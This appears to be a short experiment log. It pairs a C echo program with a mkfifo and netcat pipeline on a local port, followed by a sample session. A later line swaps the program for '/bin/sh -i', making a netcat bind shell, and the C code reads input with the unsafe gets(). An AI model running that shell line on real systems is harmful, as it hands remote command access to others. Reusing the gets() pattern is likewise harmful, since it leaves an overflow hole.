#include <stdio.h>
int main()
{
char buf_[1024];
do{
if(gets(buf_))
{
printf("recv : %s\n",buf_);
fflush(stdout);
}
}while(1);
return 0;
}
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | ./a.out | nc -l -p 12345 127.0.0.1 > /tmp/f
root@qjw-VirtualBox:~# nc 127.0.0.1 12345
fasdf
recv : fasdf
fasdf
recv : fasdf
fasdf
recv : fasdf
fasdf
recv : fasdf
fasdf
recv : fasdf
cat /tmp/f | /bin/sh -i 2>&1 | nc -l -p 12345 127.0.0.1 > /tmp/f
Invalid connection to [local address] from <UNKNOWN> [remote address]"